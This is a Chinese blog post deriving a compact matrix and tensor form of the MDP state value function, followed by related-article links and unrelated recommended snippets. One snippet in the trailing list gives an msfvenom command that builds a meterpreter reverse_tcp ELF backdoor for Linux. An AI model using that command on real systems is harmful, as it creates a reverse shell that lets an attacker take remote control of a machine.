请先阅读上一篇文章:【RL系列】马尔可夫决策过程与动态编程

在上一篇文章里,主要讨论了马尔可夫决策过程模型的来源和基本思想,并以MAB问题为例简单的介绍了动态编程的基本方法。虽然上一篇文章中的马尔可夫决策过程模型实现起来比较简单,但我认为其存在两个小问题:

  • 数学表达上不够简洁
  • 状态价值评价型问题与动作价值评价型问题是分离的,形式上不够统一

本篇主要来解决第一个问题。

第一个问题是比较直观的,下面给出状态价值函数以作分析:

$$ \mathbb{Value}(S_1) = \mathbb{Reward}(S_1) + \gamma \sum_{i = 1}^{n} \pi(A_i|S_1)\sum_{j = 1}^{N(A_i)}P\left[S_{A_i}(j)|A_i, S_1\right] \mathbb{Value}\left[S_{A_i}(j)\right] $$

实际上如果将这个价值函数的后半Futrue Value部分展开了写,可以写为:

$$\begin{align}
\mathbb{Value}(S_1) & = \mathbb{Reward}(S_1) + \gamma \sum_{i = 1}^{n} \pi(A_i|S_1) \left[ \begin{matrix} P\left[S_{A_i}(1)|A_i, S_1\right] \mathbb{Value}S_{A_i}(1) + \\ P\left[S_{A_i}(2)|A_i, S_1\right] \mathbb{Value}S_{A_i}(2) + \\......\\P\left[S_{A_i}(N(A_i))|A_i, S_1\right] \mathbb{Value}S_{A_i}(N(A_i)) \end{matrix} \right] \\& = \mathbb{Reward}(S_1) + \gamma \sum_{i = 1}^{n} \pi(A_i|S_1) \left[\begin{matrix} P\left[S_{A_i}(1)|A_i, S_1\right]\\ P\left[S_{A_i}(2)|A_i, S_1\right]\\ ......\\ P\left[S_{A_i}(N(A_i)|A_i, S_1\right]
\end{matrix} \right]^T \left[\begin{matrix} \mathbb{Value}S_{A_i}(1)\\ \mathbb{Value}S_{A_i}(2)\\ ......\\ \mathbb{Value}S_{A_i}(N(A_i))
\end{matrix} \right] \end{align}$$

可以将关于动作$ A_i $的可能转移状态的价值函数矩阵写为$ \mathbf{V}(A_i) $,将状态转移概率矩阵写为$ \mathbf{P}^{T}(A_i) $,那么价值函数就可以表示为:

$$ \mathbb{Value}(S_1) = \mathbb{Reward}(S_1) + \gamma \sum_{i = 1}^{n} \pi(A_i|S_1) \mathbf{P}^{T}(A_i) \mathbf{V}(A_i) $$

如果每一个可执行的动作所可以得到的状态都是固定一样多的话,那么这个式子的形式还可以继续化简。假设在有限马尔可夫决策过程中,存在有限的动作集合$ \mathbb{A} = \{A_1, A_2, ...,A_n \} $和有限的状态集合$ \mathbb{S} = \{S_1, S_2, ...,S_m \} $, 每个动作都可以产生m个有限的状态(如果实际应用中,不可能产生的状态则状态转移概率为0)。所有动作所对应的状态转移概率矩阵$ \mathbb{P} $ 就可以写为:

$$ \mathbb{P} = \left[\begin{matrix} \mathbf{P}^{T}(A_1) \\ \mathbf{P}^{T}(A_2)\\ ......\\ \mathbf{P}^{T}(A_n) \end{matrix}\right] = \left[\begin{matrix} P\left[S_{A_1}(1)|A_1, S_1\right] & P\left[S_{A_1}(2)|A_1, S_1\right]& ... & P\left[S_{A_1}(m)|A_1, S_1\right] \\ P\left[S_{A_2}(1)|A_2, S_1\right] & P\left[S_{A_2}(2)|A_2, S_1\right]& ... & P\left[S_{A_2}(m)|A_2, S_1\right] \\ ...... & ...... & ... & ......\\ P\left[S_{A_n}(1)|A_n, S_1\right] & P\left[S_{A_n}(2)|A_n, S_1\right]& ... & P\left[S_{A_n}(m)|A_n, S_1\right] \end{matrix}\right] $$

我们同样可以设动作转移概率举证$ \mathbf{\Pi} $为:

$$ \mathbf{\Pi} = \left[\begin{matrix} \pi(A_1|S_1)\\ \pi(A_2|S_1)\\ ......\\ \pi(A_n|S_1) \end{matrix}\right]^{T} $$

这样我们就可以将对状态$ S_1 $的价值评价的一般形式写出来:

$$ \mathbb{Value}(S_1) = \mathbb{Reward}(S_1) + \gamma \mathbf{\Pi} \mathbb{P} \mathbf{V}$$

到目前位置所有公式的推导都有一个大前提,就是当前状态为$ S_1 $,如果我们将价值函数的一般形式推广到所有状态,那么除了向量$ \mathbf{V} $外,每个项的维度都会提升一个。这样的话,$\mathbf{\Pi}$矩阵变为二维矩阵,状态转移矩阵$\mathbb{P}$变为一个三维矩阵,即张量$ \mathrm{P}_{s'a}^{s} $

$$ \mathrm{P} = \mathrm{fold} \left[\begin{matrix} \mathbb{P}(S_1) \\ \mathbb{P}(S_2) \\......\\ \mathbb{P}(S_m) \end{matrix} \right] $$

至此我们可以写出状态价值函数的最一般形式:

$$ \mathbf{V} = \mathbf{R} + \gamma \mathbf{\Pi} \mathrm{P}_{s',a}^{s} \mathbf{V} $$

我们可以用状态转移图将该式表示出来,这样更加直观:

【RL系列】马尔可夫决策过程中状态价值函数的一般形式的更多相关文章

  1. 【RL系列】马尔可夫决策过程——状态价值评价与动作价值评价

    请先阅读上两篇文章: [RL系列]马尔可夫决策过程中状态价值函数的一般形式 [RL系列]马尔可夫决策过程与动态编程 状态价值函数,顾名思义,就是用于状态价值评价(SVE)的.典型的问题有“格子世界(G ...

  2. 强化学习入门基础-马尔可夫决策过程(MDP)

    作者:YJLAugus 博客: https://www.cnblogs.com/yjlaugus 项目地址:https://github.com/YJLAugus/Reinforcement-Lear ...

  3. 马尔可夫决策过程MDP

    1. 马尔可夫模型的几类子模型 马尔科夫链(Markov Chain),了解机器学习的也都知道隐马尔可夫模型(Hidden Markov Model,HMM).它们具有的一个共同性质就是马尔可夫性(无 ...

  4. 转:增强学习(二)----- 马尔可夫决策过程MDP

    1. 马尔可夫模型的几类子模型 大家应该还记得马尔科夫链(Markov Chain),了解机器学习的也都知道隐马尔可夫模型(Hidden Markov Model,HMM).它们具有的一个共同性质就是 ...

  5. 增强学习(二)----- 马尔可夫决策过程MDP

    1. 马尔可夫模型的几类子模型 大家应该还记得马尔科夫链(Markov Chain),了解机器学习的也都知道隐马尔可夫模型(Hidden Markov Model,HMM).它们具有的一个共同性质就是 ...

  6. 【RL系列】马尔可夫决策过程——Jack‘s Car Rental

    本篇请结合课本Reinforcement Learning: An Introduction学习 Jack's Car Rental是一个经典的应用马尔可夫决策过程的问题,翻译过来,我们就直接叫它“租 ...

  7. [Reinforcement Learning] 马尔可夫决策过程

    在介绍马尔可夫决策过程之前,我们先介绍下情节性任务和连续性任务以及马尔可夫性. 情节性任务 vs. 连续任务 情节性任务(Episodic Tasks),所有的任务可以被可以分解成一系列情节,可以看作 ...

  8. 【cs229-Lecture16】马尔可夫决策过程

    之前讲了监督学习和无监督学习,今天主要讲“强化学习”. 马尔科夫决策过程:Markov Decision Process(MDP) 价值函数:value function 值迭代:value iter ...

  9. 强化学习-MDP(马尔可夫决策过程)算法原理

    1. 前言 前面的强化学习基础知识介绍了强化学习中的一些基本元素和整体概念.今天讲解强化学习里面最最基础的MDP(马尔可夫决策过程). 2. MDP定义 MDP是当前强化学习理论推导的基石,通过这套框 ...

随机推荐

  1. 【转】JS实现继承的几种方式

    既然要实现继承,那么首先我们得有一个父类,代码如下: // 定义一个动物类 function Animal (name) { // 属性 this.name = name || 'Animal'; / ...

  2. virtualbox+vagrant学习-2(command cli)-22-vagrant validate命令

    Validate 格式: vagrant validate [options] 该命令用于验证你的Vagrantfile文件 userdeMacBook-Pro:~ user$ vagrant val ...

  3. SVN服务器安装与本地连接

    SVN服务器安装与本地连接 系统环境 Centos7 查看是否安装了低版本SVN [root@svn-server ~]# rpm -qa subversion 卸载旧版本SVN [root@svn- ...

  4. The Gene of Bitizens

    1.          Summary The document is about the general idea of the architecture design of the Bitizen ...

  5. 【ruby题目】以|为分割点,将arr转换为二维数组

    #以|为分割点,将arr转换为二维数组 arr = ['] tmp = [] tmp2 = [] for x in arr tmp << x if x != '|' tmp2.push A ...

  6. 【HNOI2013】数列

    题面 题解 设\(\{a_n\}\)为差分数组,可以得到柿子: \[ \begin{aligned} ans &= \sum_{a_1 = 1} ^ m \sum_{a_2 = 1} ^ m ...

  7. AGC 005 D - ~K Perm Counting

    D - ~K Perm Counting 链接 题意: 求有多少排列对于每个位置i都满足$|ai−i|!=k$.n<=2000 分析: 容斥+dp. $answer = \sum\limits_ ...

  8. [ONTAK2010]Peaks kruskal重构树,主席树

    [ONTAK2010]Peaks kruskal重构树练手题. LG传送门竟然不强制在线?看到离线水过很不爽:B站强制在线版传送门 看到"询问从点\(v\)开始只经过困难值小于等于\(x\) ...

  9. msfvenom生成linux后门

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ip  LPORT=port   -f elf > shell.elf

  10. java.util.Arrays.asList 的小问题

    JDK 1.4对java.util.Arrays.asList的定义,函数参数是Object[].所以,在1.4中asList()并不支持基本类型的数组作参数. JDK 1.5中,java.util. ...